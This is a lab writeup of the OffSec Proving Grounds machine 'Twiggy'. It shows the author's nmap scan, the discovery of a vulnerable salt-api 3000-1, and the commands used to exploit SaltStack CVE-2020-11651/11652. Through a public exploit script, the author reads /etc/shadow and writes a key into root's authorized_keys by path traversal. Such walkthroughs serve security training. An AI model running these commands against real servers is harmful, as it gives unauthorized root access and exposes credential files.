writeup 2026-01-10 · 4 min read

OffSec Proving Grounds Twiggy Writeup

Linux Proving Grounds box. A salt-api 3000 on port 8000 is vulnerable to CVE-2020-11651, letting an attacker write root's authorized_keys for an SSH login.

OffSec Proving Grounds Twiggy Writeup

Summary

Twiggy is a Linux Proving Grounds box exposing a JSON salt-api on port 8000, whose X-Upstream header reveals salt-api/3000-1. That SaltStack version is vulnerable to the authentication bypass CVE-2020-11651 and the directory traversal CVE-2020-11652. A public exploit confirms the salt-master on port 4506 is vulnerable and recovers the root key, then its arbitrary file read pulls /etc/passwd and /etc/shadow, proving the service runs as root. Using the exploit’s upload feature with a traversal path writes an attacker public key into /root/.ssh/authorized_keys, giving a passwordless SSH login as root.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Nmap 7.93 scan initiated Mon Jan  5 09:09:57 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 192.168.236.62
Nmap scan report for 192.168.236.62
Host is up, received syn-ack (0.25s latency).
Scanned at 2026-01-05 09:09:57 -03 for 103s
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 447d1a569b68aef53bf6381773165d75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZz8rKSxgnT5mqHeBPqGlXFj2JJdq21roV/2M8/+0F5/5D1XsaXmbktDpKILFdBcYnLtPxWstxPq+FTbWAJad2uk3BPYWRxidK2dOozE5rKLCyxtkEqs/lO09pM6VKQUi83y5wMwI+9Akkir0AMruuFUSpeCIBt/L98g8OYxzyTsylQATnPxJrrQOWGUQYAvX6jIs25n6d3rmbXk/crg1ZfAVFEHEeR9Y6Bjc2o5YWjMp3XbOZyC4yYseoM6eH2yCSDwu1DzPYrU6cNMfxBf863w1uyhiFk3eIb5jud3kfoxIq6t5JU2DXNhEd4rdXuuinZUSxWiCpHLZ1FCi4tkX5
|   256 1c789d838152f4b01d8e3203cba61893 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA1gj1q7mOswnou9RvKwuX8S7WFBhz2NlaSIpYPQmM0I/vqb4T459PgJcMaJOE+WmPiMnDSFsyV3C6YszM754Hc=
|   256 08c912d97b9898c8b3997a19822ea3ea (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzTSyInONbcDxdYULbDvI/HyrQm9m9M5b6Z825jnBEF
53/tcp   open  domain  syn-ack NLnet Labs NSD
80/tcp   open  http    syn-ack nginx 1.16.1
|_http-favicon: Unknown favicon MD5: 11FB4799192313DD5474A343D9CC0A17
|_http-title: Home | Mezzanine
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.16.1
4505/tcp open  zmtp    syn-ack ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    syn-ack ZeroMQ ZMTP 2.0
8000/tcp open  http    syn-ack nginx 1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: nginx/1.16.1

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan  5 09:11:40 2026 -- 1 IP address (1 host up) scanned in 103.27 seconds

Initial Access: Saltstack 3000.1 - Remote Code Execution

I access the web server on port 8000 and get a weird response:

1
{"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"}

Seeking to know more about the application, I decide to check server headers and locate a important piece of information:

salt-api server headers showing the X-Upstream salt-api/3000-1 value

More specifically, the X-Upstream header reads:

1
salt-api/3000-1

I google for this header value and all I can find is vulnerabilities:

Google results for the salt-api version returning only vulnerabilities

I download this exploit to my machine.

Using The Exploit

Base usage of this exploit is as follows:

1
2
3
4
5
6
7
8
$ python3 exp.py -m 192.168.236.62 

[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/usr/lib/python3/dist-packages/salt/transport/client.py:28: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
  warn_until(
[+] Checking salt-master (192.168.236.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: YW+X7MyAJUrsskh2mt7TkF3FvyJaWLbGfylEiu5AdjFu9Rr8ggmt+HuXNPmPn9rfU1T7rmGnPCY=

It connects to the victim machine on the appropriate port and checks to see if it’s vulnerable. In this case, we can see the victim is vulnerable!

The script errors out after printing the root key though, which makes me wonder if the exploit will actually work.

I know the script has plenty of options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python3 exp.py --help 
usage: exp.py [-h] [--master MASTER_IP] [--port MASTER_PORT] [--force] [--debug]
              [--run-checks] [--read READ_FILE] [--upload-src UPLOAD_SRC]
              [--upload-dest UPLOAD_DEST] [--exec EXEC] [--exec-all EXEC_ALL]

Saltstack exploit for CVE-2020-11651 and CVE-2020-11652

options:
  -h, --help            show this help message and exit
  --master MASTER_IP, -m MASTER_IP
  --port MASTER_PORT, -p MASTER_PORT
  --force, -f
  --debug, -d
  --run-checks, -c
  --read READ_FILE, -r READ_FILE
  --upload-src UPLOAD_SRC
  --upload-dest UPLOAD_DEST
  --exec EXEC           Run a command on the master
  --exec-all EXEC_ALL   Run a command on all minions

So I try reading a file (/etc/passwd) and it works!

1
python3 exp.py -m 192.168.236.62 --read /etc/passwd

I can also read sensitive files like /etc/shadow, which indicates the application runs as root. I use ssh-keygen to generate a private/public key pair named “root”:

1
ssh-keygen -f root

Then I use the exploit script to have the generated public key (“root.pub”) to the root user’s SSH authorized_keys file:

1
python3 exp.py -m 192.168.236.62 --upload-src root.pub --upload-dest ../../../../../../../../../root/.ssh/authorized_keys

As you can see from the screenshot below, it works:

Exploit uploading the public key into root's authorized_keys

So now I can use the private key to log in to the machine via SSH as root, without having to provide any password:

SSH login as root using the uploaded key

This post is licensed under CC BY 4.0 by the author.